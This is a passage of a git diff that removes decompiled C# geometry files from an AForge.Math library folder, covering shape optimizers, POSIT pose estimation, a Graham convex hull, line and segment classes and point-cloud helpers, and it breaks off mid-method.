|| size < 3 || size > 101) - { - throw new ArgumentException("Wrong kernal size."); - } - int num = size / 2; - double[,] array = new double[size, size]; - int num2 = -num; - for (int i = 0; i < size; i++) - { - int num3 = -num; - for (int j = 0; j < size; j++) - { - array[i, j] = Function2D(num3, num2); - num3++; - } - num2++; - } - return array; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/ClosePointsMergingOptimizer.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/ClosePointsMergingOptimizer.cs deleted file mode 100644 index 4ee1a12..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/ClosePointsMergingOptimizer.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public class ClosePointsMergingOptimizer : IShapeOptimizer -{ - private float maxDistanceToMerge = 10f; - - public float MaxDistanceToMerge - { - get - { - return maxDistanceToMerge; - } - set - { - maxDistanceToMerge = System.Math.Max(0f, value); - } - } - - public ClosePointsMergingOptimizer() - { - } - - public ClosePointsMergingOptimizer(float maxDistanceToMerge) - { - this.maxDistanceToMerge = maxDistanceToMerge; - } - - public List OptimizeShape(List shape) - { - List list = new List(); - if (shape.Count <= 3) - { - list.AddRange(shape); - } - else - { - float num = 0f; - list.Add(shape[0]); - int num2 = 1; - int i = 1; - for (int count = shape.Count; i < count; i++) - { - num = list[num2 - 1].DistanceTo(shape[i]); - if (num <= maxDistanceToMerge && num2 + (count - i) > 3) - { - list[num2 - 1] = (list[num2 - 1] + shape[i]) / 2; - continue; - } - list.Add(shape[i]); - num2++; - } - if (num2 > 3) - { - num = list[num2 - 1].DistanceTo(list[0]); - if (num <= maxDistanceToMerge) - { - list[0] = (list[num2 - 1] + list[0]) / 2; - list.RemoveAt(num2 - 1); - } - } - } - return list; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/CoplanarPosit.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/CoplanarPosit.cs deleted file mode 100644 index 0a5aa70..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/CoplanarPosit.cs +++ /dev/null @@ -1,216 +0,0 @@ -using System; - -namespace AForge.Math.Geometry; - -public class CoplanarPosit -{ - private const float ErrorLimit = 2f; - - private float focalLength; - - private Vector3[] modelPoints; - - private Matrix3x3 modelVectors; - - private Matrix3x3 modelPseudoInverse; - - private Vector3 modelNormal; - - private Matrix3x3 alternateRotation = default(Matrix3x3); - - private Vector3 alternateTranslation = default(Vector3); - - private float alternatePoseError; - - private Matrix3x3 bestRotation = default(Matrix3x3); - - private Vector3 bestTranslation = default(Vector3); - - private float bestPoseError; - - public Matrix3x3 BestEstimatedRotation => bestRotation; - - public Vector3 BestEstimatedTranslation => bestTranslation; - - public float BestEstimationError => bestPoseError; - - public Matrix3x3 AlternateEstimatedRotation => alternateRotation; - - public Vector3 AlternateEstimatedTranslation => alternateTranslation; - - public float AlternateEstimationError => alternatePoseError; - - public Vector3[] Model => (Vector3[])modelPoints.Clone(); - - public float FocalLength - { - get - { - return focalLength; - } - set - { - focalLength = value; - } - } - - public CoplanarPosit(Vector3[] model, float focalLength) - { - if (model.Length != 4) - { - throw new ArgumentException("The model must have 4 points."); - } - this.focalLength = focalLength; - modelPoints = (Vector3[])model.Clone(); - modelVectors = Matrix3x3.CreateFromRows(model[1] - model[0], model[2] - model[0], model[3] - model[0]); - modelVectors.SVD(out var u, out var e, out var v); - modelPseudoInverse = v * Matrix3x3.CreateDiagonal(e.Inverse()) * u.Transpose(); - modelNormal = v.GetColumn(e.MinIndex); - } - - public void EstimatePose(Point[] points, out Matrix3x3 rotation, out Vector3 translation) - { - if (points.Length != 4) - { - throw new ArgumentException("4 points must be be given for pose estimation."); - } - POS(points, new Vector3(1f), out var rotation2, out var rotation3, out var translation2, out var translation3); - float num = Iterate(points, ref rotation2, ref translation2); - float num2 = Iterate(points, ref rotation3, ref translation3); - if (num < num2) - { - bestRotation = rotation2; - bestTranslation = translation2; - bestPoseError = num; - alternateRotation = rotation3; - alternateTranslation = translation3; - alternatePoseError = num2; - } - else - { - bestRotation = rotation3; - bestTranslation = translation3; - bestPoseError = num2; - alternateRotation = rotation2; - alternateTranslation = translation2; - alternatePoseError = num; - } - rotation = bestRotation; - translation = bestTranslation; - } - - private float Iterate(Point[] points, ref Matrix3x3 rotation, ref Vector3 translation) - { - float num = float.MaxValue; - float num2 = 0f; - for (int i = 0; i < 100; i++) - { - Vector3 eps = modelVectors * rotation.GetRow(2) / translation.Z + 1f; - POS(points, eps, out var rotation2, out var rotation3, out var translation2, out var translation3); - float error = GetError(points, rotation2, translation2); - float error2 = GetError(points, rotation3, translation3); - if (error < error2) - { - rotation = rotation2; - translation = translation2; - num2 = error; - } - else - { - rotation = rotation3; - translation = translation3; - num2 = error2; - } - if (num2 <= 2f || num2 > num) - { - break; - } - num = num2; - } - return num2; - } - - private void POS(Point[] imagePoints, Vector3 eps, out Matrix3x3 rotation1, out Matrix3x3 rotation2, out Vector3 translation1, out Vector3 translation2) - { - Vector3 vector = new Vector3(imagePoints[1].X, imagePoints[2].X, imagePoints[3].X); - Vector3 vector2 = new Vector3(imagePoints[1].Y, imagePoints[2].Y, imagePoints[3].Y); - Vector3 vector3 = vector * eps - imagePoints[0].X; - Vector3 vector4 = vector2 * eps - imagePoints[0].Y; - Vector3 vector5 = modelPseudoInverse * vector3; - Vector3 vector6 = modelPseudoInverse * vector4; - Vector3 vector7 = default(Vector3); - Vector3 vector8 = default(Vector3); - Vector3 vector9 = default(Vector3); - float num = vector6.Square - vector5.Square; - float num2 = Vector3.Dot(vector5, vector6); - float num3 = 0f; - float num4 = 0f; - if (num == 0f) - { - num4 = (float)(-System.Math.PI / 2.0 * (double)System.Math.Sign(num2)); - num3 = (float)System.Math.Sqrt(System.Math.Abs(2f * num2)); - } - else - { - num3 = (float)System.Math.Sqrt(System.Math.Sqrt(num * num + 4f * num2 * num2)); - num4 = (float)System.Math.Atan(-2f * num2 / num); - if (num < 0f) - { - num4 += (float)System.Math.PI; - } - num4 /= 2f; - } - float num5 = (float)((double)num3 * System.Math.Cos(num4)); - float num6 = (float)((double)num3 * System.Math.Sin(num4)); - vector7 = vector5 + modelNormal * num5; - vector8 = vector6 + modelNormal * num6; - float num7 = vector7.Normalize(); - float num8 = vector8.Normalize(); - vector9 = Vector3.Cross(vector7, vector8); - rotation1 = Matrix3x3.CreateFromRows(vector7, vector8, vector9); - float num9 = (num7 + num8) / 2f; - Vector3 vector10 = rotation1 * modelPoints[0]; - translation1 = new Vector3(imagePoints[0].X / num9 - vector10.X, imagePoints[0].Y / num9 - vector10.Y, focalLength / num9); - vector7 = vector5 - modelNormal * num5; - vector8 = vector6 - modelNormal * num6; - num7 = vector7.Normalize(); - num8 = vector8.Normalize(); - vector9 = Vector3.Cross(vector7, vector8); - rotation2 = Matrix3x3.CreateFromRows(vector7, vector8, vector9); - num9 = (num7 + num8) / 2f; - vector10 = rotation2 * modelPoints[0]; - translation2 = new Vector3(imagePoints[0].X / num9 - vector10.X, imagePoints[0].Y / num9 - vector10.Y, focalLength / num9); - } - - private float GetError(Point[] imagePoints, Matrix3x3 rotation, Vector3 translation) - { - Vector3 vector = rotation * modelPoints[0] + translation; - vector.X = vector.X * focalLength / vector.Z; - vector.Y = vector.Y * focalLength / vector.Z; - Vector3 vector2 = rotation * modelPoints[1] + translation; - vector2.X = vector2.X * focalLength / vector2.Z; - vector2.Y = vector2.Y * focalLength / vector2.Z; - Vector3 vector3 = rotation * modelPoints[2] + translation; - vector3.X = vector3.X * focalLength / vector3.Z; - vector3.Y = vector3.Y * focalLength / vector3.Z; - Vector3 vector4 = rotation * modelPoints[3] + translation; - vector4.X = vector4.X * focalLength / vector4.Z; - vector4.Y = vector4.Y * focalLength / vector4.Z; - Point[] array = new Point[4] - { - new Point(vector.X, vector.Y), - new Point(vector2.X, vector2.Y), - new Point(vector3.X, vector3.Y), - new Point(vector4.X, vector4.Y) - }; - float angleBetweenVectors = GeometryTools.GetAngleBetweenVectors(imagePoints[0], imagePoints[1], imagePoints[3]); - float angleBetweenVectors2 = GeometryTools.GetAngleBetweenVectors(imagePoints[1], imagePoints[2], imagePoints[0]); - float angleBetweenVectors3 = GeometryTools.GetAngleBetweenVectors(imagePoints[2], imagePoints[3], imagePoints[1]); - float angleBetweenVectors4 = GeometryTools.GetAngleBetweenVectors(imagePoints[3], imagePoints[0], imagePoints[2]); - float angleBetweenVectors5 = GeometryTools.GetAngleBetweenVectors(array[0], array[1], array[3]); - float angleBetweenVectors6 = GeometryTools.GetAngleBetweenVectors(array[1], array[2], array[0]); - float angleBetweenVectors7 = GeometryTools.GetAngleBetweenVectors(array[2], array[3], array[1]); - float angleBetweenVectors8 = GeometryTools.GetAngleBetweenVectors(array[3], array[0], array[2]); - return (System.Math.Abs(angleBetweenVectors - angleBetweenVectors5) + System.Math.Abs(angleBetweenVectors2 - angleBetweenVectors6) + System.Math.Abs(angleBetweenVectors3 - angleBetweenVectors7) + System.Math.Abs(angleBetweenVectors4 - angleBetweenVectors8)) / 4f; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/FlatAnglesOptimizer.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/FlatAnglesOptimizer.cs deleted file mode 100644 index 95191d7..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/FlatAnglesOptimizer.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public class FlatAnglesOptimizer : IShapeOptimizer -{ - private float maxAngleToKeep = 160f; - - public float MaxAngleToKeep - { - get - { - return maxAngleToKeep; - } - set - { - maxAngleToKeep = System.Math.Min(180f, System.Math.Max(140f, value)); - } - } - - public FlatAnglesOptimizer() - { - } - - public FlatAnglesOptimizer(float maxAngleToKeep) - { - this.maxAngleToKeep = maxAngleToKeep; - } - - public List OptimizeShape(List shape) - { - List list = new List(); - if (shape.Count <= 3) - { - list.AddRange(shape); - } - else - { - float num = 0f; - list.Add(shape[0]); - list.Add(shape[1]); - int num2 = 2; - int i = 2; - for (int count = shape.Count; i < count; i++) - { - list.Add(shape[i]); - num2++; - num = GeometryTools.GetAngleBetweenVectors(list[num2 - 2], list[num2 - 3], list[num2 - 1]); - if (num > maxAngleToKeep && (num2 > 3 || i < count - 1)) - { - list.RemoveAt(num2 - 2); - num2--; - } - } - if (num2 > 3) - { - num = GeometryTools.GetAngleBetweenVectors(list[num2 - 1], list[num2 - 2], list[0]); - if (num > maxAngleToKeep) - { - list.RemoveAt(num2 - 1); - num2--; - } - if (num2 > 3) - { - num = GeometryTools.GetAngleBetweenVectors(list[0], list[num2 - 1], list[1]); - if (num > maxAngleToKeep) - { - list.RemoveAt(0); - } - } - } - } - return list; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/GeometryTools.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/GeometryTools.cs deleted file mode 100644 index a029cec..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/GeometryTools.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace AForge.Math.Geometry; - -public static class GeometryTools -{ - public static float GetAngleBetweenVectors(Point startPoint, Point vector1end, Point vector2end) - { - float num = vector1end.X - startPoint.X; - float num2 = vector1end.Y - startPoint.Y; - float num3 = vector2end.X - startPoint.X; - float num4 = vector2end.Y - startPoint.Y; - return (float)(System.Math.Acos((double)(num * num3 + num2 * num4) / (System.Math.Sqrt(num * num + num2 * num2) * System.Math.Sqrt(num3 * num3 + num4 * num4))) * 180.0 / System.Math.PI); - } - - public static float GetAngleBetweenLines(Point a1, Point a2, Point b1, Point b2) - { - Line line = Line.FromPoints(a1, a2); - return line.GetAngleBetweenLines(Line.FromPoints(b1, b2)); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/GrahamConvexHull.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/GrahamConvexHull.cs deleted file mode 100644 index 75a8347..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/GrahamConvexHull.cs +++ /dev/null @@ -1,120 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public class GrahamConvexHull : IConvexHullAlgorithm -{ - private class PointToProcess : IComparable - { - public int X; - - public int Y; - - public float K; - - public float Distance; - - public PointToProcess(IntPoint point) - { - X = point.X; - Y = point.Y; - K = 0f; - Distance = 0f; - } - - public int CompareTo(object obj) - { - PointToProcess pointToProcess = (PointToProcess)obj; - if (!(K < pointToProcess.K)) - { - if (!(K > pointToProcess.K)) - { - if (!(Distance > pointToProcess.Distance)) - { - if (!(Distance < pointToProcess.Distance)) - { - return 0; - } - return 1; - } - return -1; - } - return 1; - } - return -1; - } - - public IntPoint ToPoint() - { - return new IntPoint(X, Y); - } - } - - public List FindHull(List points) - { - if (points.Count <= 3) - { - return new List(points); - } - List list = new List(); - foreach (IntPoint point in points) - { - list.Add(new PointToProcess(point)); - } - int index = 0; - PointToProcess pointToProcess = list[0]; - int i = 1; - for (int count = list.Count; i < count; i++) - { - if (list[i].X < pointToProcess.X || (list[i].X == pointToProcess.X && list[i].Y < pointToProcess.Y)) - { - pointToProcess = list[i]; - index = i; - } - } - list.RemoveAt(index); - int j = 0; - for (int count2 = list.Count; j < count2; j++) - { - int num = list[j].X - pointToProcess.X; - int num2 = list[j].Y - pointToProcess.Y; - list[j].Distance = num * num + num2 * num2; - list[j].K = ((num == 0) ? float.PositiveInfinity : ((float)num2 / (float)num)); - } - list.Sort(); - List list2 = new List(); - list2.Add(pointToProcess); - list2.Add(list[0]); - list.RemoveAt(0); - PointToProcess pointToProcess2 = list2[1]; - PointToProcess pointToProcess3 = list2[0]; - while (list.Count != 0) - { - PointToProcess pointToProcess4 = list[0]; - if (pointToProcess4.K == pointToProcess2.K || pointToProcess4.Distance == 0f) - { - list.RemoveAt(0); - } - else if ((pointToProcess4.X - pointToProcess3.X) * (pointToProcess2.Y - pointToProcess4.Y) - (pointToProcess2.X - pointToProcess4.X) * (pointToProcess4.Y - pointToProcess3.Y) < 0) - { - list2.Add(pointToProcess4); - list.RemoveAt(0); - pointToProcess3 = pointToProcess2; - pointToProcess2 = pointToProcess4; - } - else - { - list2.RemoveAt(list2.Count - 1); - pointToProcess2 = pointToProcess3; - pointToProcess3 = list2[list2.Count - 2]; - } - } - List list3 = new List(); - foreach (PointToProcess item in list2) - { - list3.Add(item.ToPoint()); - } - return list3; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/IConvexHullAlgorithm.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/IConvexHullAlgorithm.cs deleted file mode 100644 index 9823260..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/IConvexHullAlgorithm.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public interface IConvexHullAlgorithm -{ - List FindHull(List points); -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/IShapeOptimizer.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/IShapeOptimizer.cs deleted file mode 100644 index 9668b68..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/IShapeOptimizer.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public interface IShapeOptimizer -{ - List OptimizeShape(List shape); -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/Line.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/Line.cs deleted file mode 100644 index 29ecdae..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/Line.cs +++ /dev/null @@ -1,206 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge.Math.Geometry; - -public sealed class Line -{ - private readonly float k; - - private readonly float b; - - public bool IsVertical => float.IsInfinity(k); - - public bool IsHorizontal => k == 0f; - - public float Slope => k; - - public float Intercept => b; - - public static Line FromPoints(Point point1, Point point2) - { - return new Line(point1, point2); - } - - public static Line FromSlopeIntercept(float slope, float intercept) - { - return new Line(slope, intercept); - } - - public static Line FromRTheta(float radius, float theta) - { - return new Line(radius, theta, unused: false); - } - - public static Line FromPointTheta(Point point, float theta) - { - return new Line(point, theta); - } - - private Line(Point start, Point end) - { - if (start == end) - { - throw new ArgumentException("Start point of the line cannot be the same as its end point."); - } - k = (end.Y - start.Y) / (end.X - start.X); - b = (float.IsInfinity(k) ? start.X : (start.Y - k * start.X)); - } - - private Line(float slope, float intercept) - { - k = slope; - b = intercept; - } - - private Line(float radius, float theta, bool unused) - { - if (radius < 0f) - { - throw new ArgumentOutOfRangeException("radius", radius, "Must be non-negative"); - } - theta *= (float)System.Math.PI / 180f; - float num = (float)System.Math.Sin(theta); - float num2 = (float)System.Math.Cos(theta); - Point point = new Point(radius * num2, radius * num); - k = (0f - num2) / num; - if (!float.IsInfinity(k)) - { - b = point.Y - k * point.X; - } - else - { - b = System.Math.Abs(radius); - } - } - - private Line(Point point, float theta) - { - theta *= (float)System.Math.PI / 180f; - k = (float)(-1.0 / System.Math.Tan(theta)); - if (!float.IsInfinity(k)) - { - b = point.Y - k * point.X; - } - else - { - b = point.X; - } - } - - public float GetAngleBetweenLines(Line secondLine) - { - float num = secondLine.k; - bool isVertical = IsVertical; - bool isVertical2 = secondLine.IsVertical; - if (k == num || (isVertical && isVertical2)) - { - return 0f; - } - float num2 = 0f; - if (isVertical || isVertical2) - { - num2 = ((!isVertical) ? ((float)(System.Math.PI / 2.0 - System.Math.Atan(k) * (double)System.Math.Sign(k))) : ((float)(System.Math.PI / 2.0 - System.Math.Atan(num) * (double)System.Math.Sign(num)))); - } - else - { - float num3 = ((num > k) ? (num - k) : (k - num)) / (1f + k * num); - num2 = (float)System.Math.Atan(num3); - } - num2 *= 57.29578f; - if (num2 < 0f) - { - num2 = 0f - num2; - } - return num2; - } - - public Point? GetIntersectionWith(Line secondLine) - { - float num = secondLine.k; - float num2 = secondLine.b; - bool isVertical = IsVertical; - bool isVertical2 = secondLine.IsVertical; - Point? result = null; - if (k == num || (isVertical && isVertical2)) - { - if (b == num2) - { - throw new InvalidOperationException("Identical lines do not have an intersection point."); - } - } - else if (isVertical) - { - result = new Point(b, num * b + num2); - } - else if (isVertical2) - { - result = new Point(num2, k * num2 + b); - } - else - { - float num3 = (num2 - b) / (k - num); - result = new Point(num3, k * num3 + b); - } - return result; - } - - public Point? GetIntersectionWith(LineSegment other) - { - return other.GetIntersectionWith(this); - } - - public float DistanceToPoint(Point point) - { - if (!IsVertical) - { - float num = (float)System.Math.Sqrt(k * k + 1f); - return System.Math.Abs((k * point.X + b - point.Y) / num); - } - return System.Math.Abs(b - point.X); - } - - public static bool operator ==(Line line1, Line line2) - { - if (object.ReferenceEquals(line1, line2)) - { - return true; - } - if ((object)line1 == null || (object)line2 == null) - { - return false; - } - if (line1.k == line2.k) - { - return line1.b == line2.b; - } - return false; - } - - public static bool operator !=(Line line1, Line line2) - { - return !(line1 == line2); - } - - public override bool Equals(object obj) - { - if (!(obj is Line)) - { - return false; - } - return this == (Line)obj; - } - - public override int GetHashCode() - { - float num = k; - int hashCode = num.GetHashCode(); - float num2 = b; - return hashCode + num2.GetHashCode(); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "k = {0}, b = {1}", new object[2] { k, b }); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/LineSegment.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/LineSegment.cs deleted file mode 100644 index f852c63..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/LineSegment.cs +++ /dev/null @@ -1,158 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge.Math.Geometry; - -public sealed class LineSegment -{ - private enum ProjectionLocation - { - RayA, - SegmentAB, - RayB - } - - private readonly Point start; - - private readonly Point end; - - private readonly Line line; - - public Point Start => start; - - public Point End => end; - - public float Length => start.DistanceTo(end); - - public LineSegment(Point start, Point end) - { - line = Line.FromPoints(start, end); - this.start = start; - this.end = end; - } - - public static explicit operator Line(LineSegment segment) - { - return segment.line; - } - - public float DistanceToPoint(Point point) - { - return LocateProjection(point) switch - { - ProjectionLocation.RayA => point.DistanceTo(start), - ProjectionLocation.RayB => point.DistanceTo(end), - _ => line.DistanceToPoint(point), - }; - } - - public Point? GetIntersectionWith(LineSegment other) - { - Point? result = null; - if (line.Slope == other.line.Slope || (line.IsVertical && other.line.IsVertical)) - { - if (line.Intercept == other.line.Intercept) - { - ProjectionLocation projectionLocation = LocateProjection(other.start); - ProjectionLocation projectionLocation2 = LocateProjection(other.end); - if (projectionLocation != ProjectionLocation.SegmentAB && projectionLocation == projectionLocation2) - { - result = null; - } - else if ((start == other.start && projectionLocation2 == ProjectionLocation.RayA) || (start == other.end && projectionLocation == ProjectionLocation.RayA)) - { - result = start; - } - else - { - if ((!(end == other.start) || projectionLocation2 != ProjectionLocation.RayB) && (!(end == other.end) || projectionLocation != ProjectionLocation.RayB)) - { - throw new InvalidOperationException("Overlapping segments do not have a single intersection point."); - } - result = end; - } - } - } - else - { - result = GetIntersectionWith(other.line); - if (result.HasValue && other.LocateProjection(result.Value) != ProjectionLocation.SegmentAB) - { - result = null; - } - } - return result; - } - - public Point? GetIntersectionWith(Line other) - { - Point? result; - if (line.Slope == other.Slope || (line.IsVertical && other.IsVertical)) - { - if (line.Intercept == other.Intercept) - { - throw new InvalidOperationException("Segment is a portion of the specified line."); - } - result = null; - } - else - { - result = line.GetIntersectionWith(other); - } - if (result.HasValue && LocateProjection(result.Value) != ProjectionLocation.SegmentAB) - { - result = null; - } - return result; - } - - private ProjectionLocation LocateProjection(Point point) - { - Point point2 = end - start; - Point point3 = point - start; - float num = point3.X * point2.X + point3.Y * point2.Y; - float num2 = point2.X * point2.X + point2.Y * point2.Y; - return (!(num < 0f)) ? ((!(num > num2)) ? ProjectionLocation.SegmentAB : ProjectionLocation.RayB) : ProjectionLocation.RayA; - } - - public static bool operator ==(LineSegment line1, LineSegment line2) - { - if (object.ReferenceEquals(line1, line2)) - { - return true; - } - if ((object)line1 == null || (object)line2 == null) - { - return false; - } - if (line1.start == line2.start) - { - return line1.end == line2.end; - } - return false; - } - - public static bool operator !=(LineSegment line1, LineSegment line2) - { - return !(line1 == line2); - } - - public override bool Equals(object obj) - { - if (!(obj is LineSegment)) - { - return false; - } - return this == (LineSegment)obj; - } - - public override int GetHashCode() - { - return start.GetHashCode() + end.GetHashCode(); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "({0}) -> ({1})", new object[2] { start, end }); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/LineStraighteningOptimizer.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/LineStraighteningOptimizer.cs deleted file mode 100644 index 666fcbb..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/LineStraighteningOptimizer.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public class LineStraighteningOptimizer : IShapeOptimizer -{ - private float maxDistanceToRemove = 5f; - - public float MaxDistanceToRemove - { - get - { - return maxDistanceToRemove; - } - set - { - maxDistanceToRemove = System.Math.Max(0f, value); - } - } - - public LineStraighteningOptimizer() - { - } - - public LineStraighteningOptimizer(float maxDistanceToRemove) - { - this.maxDistanceToRemove = maxDistanceToRemove; - } - - public List OptimizeShape(List shape) - { - List list = new List(); - List list2 = new List(); - if (shape.Count <= 3) - { - list.AddRange(shape); - } - else - { - float distance = 0f; - list.Add(shape[0]); - list.Add(shape[1]); - int num = 2; - int i = 2; - for (int count = shape.Count; i < count; i++) - { - list.Add(shape[i]); - num++; - list2.Add(list[num - 2]); - PointsCloud.GetFurthestPointFromLine(list2, list[num - 3], list[num - 1], out distance); - if (distance <= maxDistanceToRemove && (num > 3 || i < count - 1)) - { - list.RemoveAt(num - 2); - num--; - } - else - { - list2.Clear(); - } - } - if (num > 3) - { - list2.Add(list[num - 1]); - PointsCloud.GetFurthestPointFromLine(list2, list[num - 2], list[0], out distance); - if (distance <= maxDistanceToRemove) - { - list.RemoveAt(num - 1); - num--; - } - else - { - list2.Clear(); - } - if (num > 3) - { - list2.Add(list[0]); - PointsCloud.GetFurthestPointFromLine(list2, list[num - 1], list[1], out distance); - if (distance <= maxDistanceToRemove) - { - list.RemoveAt(0); - } - } - } - } - return list; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/PointsCloud.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/PointsCloud.cs deleted file mode 100644 index d57bbd0..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/PointsCloud.cs +++ /dev/null @@ -1,321 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public static class PointsCloud -{ - private static float quadrilateralRelativeDistortionLimit = 0.1f; - - public static float QuadrilateralRelativeDistortionLimit - { - get - { - return quadrilateralRelativeDistortionLimit; - } - set - { - quadrilateralRelativeDistortionLimit = System.Math.Max(0f, System.Math.Min(0.25f, value)); - } - } - - public static void Shift(IList cloud, IntPoint shift) - { - int i = 0; - for (int count = cloud.Count; i < count; i++) - { - cloud[i] += shift; - } - } - - public static void GetBoundingRectangle(IEnumerable cloud, out IntPoint minXY, out IntPoint maxXY) - { - int num = int.MaxValue; - int num2 = int.MinValue; - int num3 = int.MaxValue; - int num4 = int.MinValue; - foreach (IntPoint item in cloud) - { - int x = item.X; - int y = item.Y; - if (x < num) - { - num = x; - } - if (x > num2) - { - num2 = x; - } - if (y < num3) - { - num3 = y; - } - if (y > num4) - { - num4 = y; - } - } - if (num > num2) - { - throw new ArgumentException("List of points can not be empty."); - } - minXY = new IntPoint(num, num3); - maxXY = new IntPoint(num2, num4); - } - - public static Point GetCenterOfGravity(IEnumerable cloud) - { - int num = 0; - float num2 = 0f; - float num3 = 0f; - foreach (IntPoint item in cloud) - { - num2 += (float)item.X; - num3 += (float)item.Y; - num++; - } - num2 /= (float)num; - num3 /= (float)num; - return new Point(num2, num3); - } - - public static IntPoint GetFurthestPoint(IEnumerable cloud, IntPoint referencePoint) - { - IntPoint result = referencePoint; - float num = -1f; - int x = referencePoint.X; - int y = referencePoint.Y; - foreach (IntPoint item in cloud) - { - int num2 = x - item.X; - int num3 = y - item.Y; - float num4 = num2 * num2 + num3 * num3; - if (num4 > num) - { - num = num4; - result = item; - } - } - return result; - } - - public static void GetFurthestPointsFromLine(IEnumerable cloud, IntPoint linePoint1, IntPoint linePoint2, out IntPoint furthestPoint1, out IntPoint furthestPoint2) - { - GetFurthestPointsFromLine(cloud, linePoint1, linePoint2, out furthestPoint1, out var _, out furthestPoint2, out var _); - } - - public static void GetFurthestPointsFromLine(IEnumerable cloud, IntPoint linePoint1, IntPoint linePoint2, out IntPoint furthestPoint1, out float distance1, out IntPoint furthestPoint2, out float distance2) - { - furthestPoint1 = linePoint1; - distance1 = 0f; - furthestPoint2 = linePoint2; - distance2 = 0f; - if (linePoint2.X != linePoint1.X) - { - float num = (float)(linePoint2.Y - linePoint1.Y) / (float)(linePoint2.X - linePoint1.X); - float num2 = (float)linePoint1.Y - num * (float)linePoint1.X; - float num3 = (float)System.Math.Sqrt(num * num + 1f); - float num4 = 0f; - foreach (IntPoint item in cloud) - { - num4 = (num * (float)item.X + num2 - (float)item.Y) / num3; - if (num4 > distance1) - { - distance1 = num4; - furthestPoint1 = item; - } - if (num4 < distance2) - { - distance2 = num4; - furthestPoint2 = item; - } - } - } - else - { - int x = linePoint1.X; - float num5 = 0f; - foreach (IntPoint item2 in cloud) - { - num5 = x - item2.X; - if (num5 > distance1) - { - distance1 = num5; - furthestPoint1 = item2; - } - if (num5 < distance2) - { - distance2 = num5; - furthestPoint2 = item2; - } - } - } - distance2 = 0f - distance2; - } - - public static IntPoint GetFurthestPointFromLine(IEnumerable cloud, IntPoint linePoint1, IntPoint linePoint2) - { - float distance; - return GetFurthestPointFromLine(cloud, linePoint1, linePoint2, out distance); - } - - public static IntPoint GetFurthestPointFromLine(IEnumerable cloud, IntPoint linePoint1, IntPoint linePoint2, out float distance) - { - IntPoint result = linePoint1; - distance = 0f; - if (linePoint2.X != linePoint1.X) - { - float num = (float)(linePoint2.Y - linePoint1.Y) / (float)(linePoint2.X - linePoint1.X); - float num2 = (float)linePoint1.Y - num * (float)linePoint1.X; - float num3 = (float)System.Math.Sqrt(num * num + 1f); - float num4 = 0f; - foreach (IntPoint item in cloud) - { - num4 = System.Math.Abs((num * (float)item.X + num2 - (float)item.Y) / num3); - if (num4 > distance) - { - distance = num4; - result = item; - } - } - } - else - { - int x = linePoint1.X; - float num5 = 0f; - foreach (IntPoint item2 in cloud) - { - distance = System.Math.Abs(x - item2.X); - if (num5 > distance) - { - distance = num5; - result = item2; - } - } - } - return result; - } - - public static List FindQuadrilateralCorners(IEnumerable cloud) - { - List list = new List(); - GetBoundingRectangle(cloud, out var minXY, out var maxXY); - IntPoint intPoint = maxXY - minXY; - IntPoint referencePoint = minXY + intPoint / 2; - float num = quadrilateralRelativeDistortionLimit * (float)(intPoint.X + intPoint.Y) / 2f; - IntPoint furthestPoint = GetFurthestPoint(cloud, referencePoint); - IntPoint furthestPoint2 = GetFurthestPoint(cloud, furthestPoint); - list.Add(furthestPoint); - list.Add(furthestPoint2); - GetFurthestPointsFromLine(cloud, furthestPoint, furthestPoint2, out var furthestPoint3, out var distance, out var furthestPoint4, out var distance2); - if ((distance >= num && distance2 >= num) || (distance < num && distance != 0f && distance2 < num && distance2 != 0f)) - { - if (!list.Contains(furthestPoint3)) - { - list.Add(furthestPoint3); - } - if 